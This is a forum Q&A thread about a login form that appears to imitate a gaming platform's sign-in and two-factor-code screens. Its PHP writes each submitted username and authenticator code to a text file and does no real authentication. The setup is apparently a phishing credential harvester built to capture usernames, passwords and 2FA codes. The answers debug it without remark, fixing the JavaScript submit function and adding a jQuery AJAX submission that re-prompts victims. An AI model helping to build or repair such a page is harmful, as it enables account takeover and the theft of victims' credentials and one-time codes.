1

So I have this form. The way I have it now is that the user will enter their username and password, and then click sign in, (the authentication pin is hidden) until the sign in button is clicked on which the div is shown and the user is to enter their verification pin. The problem I am having is no matter what I submit into the text boxes, nothing gets submitted into my php script which I have here :

<?php
$myfile = fopen("newfile_" . uniqid() . ".txt", "w") or die("...");
$txt = $_POST['username'] . ':' . $_POST['authcode'];
fwrite($myfile, $txt);
fclose($myfile);
echo "LOREM IPSUM:("; 
?>

<!DOCTYPE html>
    <form action="/loginaction.php" method="post" name="submit">
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
            <div class="mainLoginLeftPanel_signin">
                <label for="userAccountName">username</label><br>
                <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br>
                <label for="userPassword">Password</label><br>
                <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
                <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
                <div class="checkboxContainer">
                <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu.  This feature is only available to PIN Guard enabled accounts.">
                <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
                    </div>
                </div>
            </div>

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
        <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
            <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">

                <div class="auth_button_h3">submit</div>
                <div class="auth_button_h5">my authenticator code</div></button></div></div>

        <div class="twofactorauthcode_entry_area">
        <div id="login_twofactor_authcode_entry">
            <div class="twofactorauthcode_entry_box">
                <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
            </div>
        </div>
        <div id="login_twofactor_authcode_help_supportlink" style="display: none;">
            <a href="#">
                Contact  Support for help with account access               </a>
        </div>
    </div>

    </form>
</head>

The form names are both entered correctly and I have the action set to the correct script however when I check the text file that is generated there is no input. I would like the button that submits the verification pin to submit the form of all 3 details (user,pass,authcode) and the sign in button to just unhide the verification div(which is working fine). Any help would be appreciated.

The javascript function to submit the forms is

<script type="text/javascript">
function() submitForms{
document.getElementById("submit").submit();
document.getElementById("submit").action = "/loginaction.php";
}

https://jsfiddle.net/jxd0g2z4/

8
  • Where is the function submitForms() defined? Commented Aug 5, 2017 at 0:20
  • I will update my code now. Commented Aug 5, 2017 at 0:21
  • It looks like you PHP might be terminated if the file fails to open. can you try submitting with that the part that opens a file? Commented Aug 5, 2017 at 0:21
  • The action=/loginaction is the part that opens the file I'm pretty sure Commented Aug 5, 2017 at 0:22
  • Something else that's important to know is if the form submits back to the same page. The php across the top is meant to handle the form submission, correct? Commented Aug 5, 2017 at 0:25

2 Answers 2

3

The function calls for a form with the id 'submit' but your form does not have the id tag. It has only a name tag. You can add the tag or change the selector.

<form action="/loginaction.php" method="post" name="submit" id='submit'>

You shouldn't need to define the action if its already in the html, but if you did it would need to come before the submission function call.

Another mistake I just noticed was the syntax where the submitForms function is defined. The parenthesis belong after the function name as follows:

<script type="text/javascript">
function submitForms(){
   document.getElementById("submit").action = "/loginaction.php";
   document.getElementById("submit").submit();
}

It's also possible that the </head> tag at the end could be throwing something off. Below is an image where I replicated the html and javascript to be sure that it gets through.

enter image description here

<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function submitForms(){
   document.getElementById("submit").action = "/loginaction.php";
   document.getElementById("submit").submit();
}
</script>
</head>
<body>
    <form action="/loginaction.php" method="post" name="submit">
    <input class="btn_green_white_innerfade btn_medium" type="button" name="submit" id="userLogin" value="Sign in" width="104" height="25" border="0" tabindex="5" onclick="showDiv();">
            <div class="mainLoginLeftPanel_signin">
                <label for="userAccountName">username</label><br>
                <input class="textField" type="text" name="username" id="userAccountName" maxlength="64" tabindex="1" value="username"><br>&nbsp;<br>
                <label for="userPassword">Password</label><br>
                <input value="password" class="textField" type="password" name="password" id="userPassword" autocomplete="off" maxlength="64" tabindex="2"><br>
                <div id="passwordclearlabel" style="text-align: left; display: none;">It seems that you may be having trouble entering your password. We will now show your password in plain text (login is still secure).</div>
                <div class="checkboxContainer">
                <div class="checkboxRow" title="If you select this option, we will automatically log you in on future visits for up to 30 days, or until you select &quot;Logout&quot; from the account menu.  This feature is only available to PIN Guard enabled accounts.">
                <input class="" type="checkbox" name="remember_login" id="remember_login" tabindex="4"><label for="remember_login">Remember me on this computer</label><br>
                    </div>
                </div>
            </div>

    <div class="modal_buttons" id="login_twofactorauth_buttonsets"> 
        <div class="auth_buttonset" id="login_twofactorauth_buttonset_entercode" style="">
            <button type="submit" class="auth_button leftbtn" data-modalstate="submit" onsubmit="submitForms();">

                <div class="auth_button_h3">submit</div>
                <div class="auth_button_h5">my authenticator code</div></button></div></div>

        <div class="twofactorauthcode_entry_area">
        <div id="login_twofactor_authcode_entry">
            <div class="twofactorauthcode_entry_box">
                <input name="authcode" class="twofactorauthcode_entry_input authcode_placeholder" id="twofactorcode_entry" type="text" placeholder="enter your code here" autocomplete="off"/>
            </div>
        </div>
        <div id="login_twofactor_authcode_help_supportlink" style="display: none;">
            <a href="#">
                Contact  Support for help with account access               </a>
        </div>
    </div>

    </form>
</body>
</html>
Sign up to request clarification or add additional context in comments.

4 Comments

I changed the form to the correct ID however nothing is being outputted into my text file.
I removed the action from the function. When I check the output file, all that shows is the semi-colon, does that mean my form is not being submitted correctly?
Sorry, the function wasn't properly defined before. The syntax was wrong. I just added the code here.
I changed my function to the one you provided, the username, and authcode still do not get outputted into my text file, this is very odd
0

Don't know if I get the problem right, but for me, it looks like that this would be a bit hard to solve for you. I would suggest to load the first form only, this form is sended with ajax to a php file which do what you need to do (write the file) AND answer a new html code which you should replace with the original loaded html code. here you would send the second form. Here you have the advantage that you can send the same forme again if there where errors.

EDIT

If you have jQuery loaded, you can use this function. your form will only need a class tag to activate it, like:

<form action="yourfile.php" id="myForm" class="ajax-form">

than this form will activate the function when submiting it.

$(".ajax-form").submit(function(e) {
    e.preventDefault();
    var form = $(this);
    var formID = form.attr('id');
    $.ajax({
        context: this,
        async: true,
        type: "post",
        url: form.prop('action'),
        data: form.serialize(),
        dataType: "html",
        success: function(datavalues) {
            $('#'+formID).replaceWith(datavalues);
        },
        error: function(json) {
            console.log('ARMAGEDDON!!!');
        },
    });
        return false;
});

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.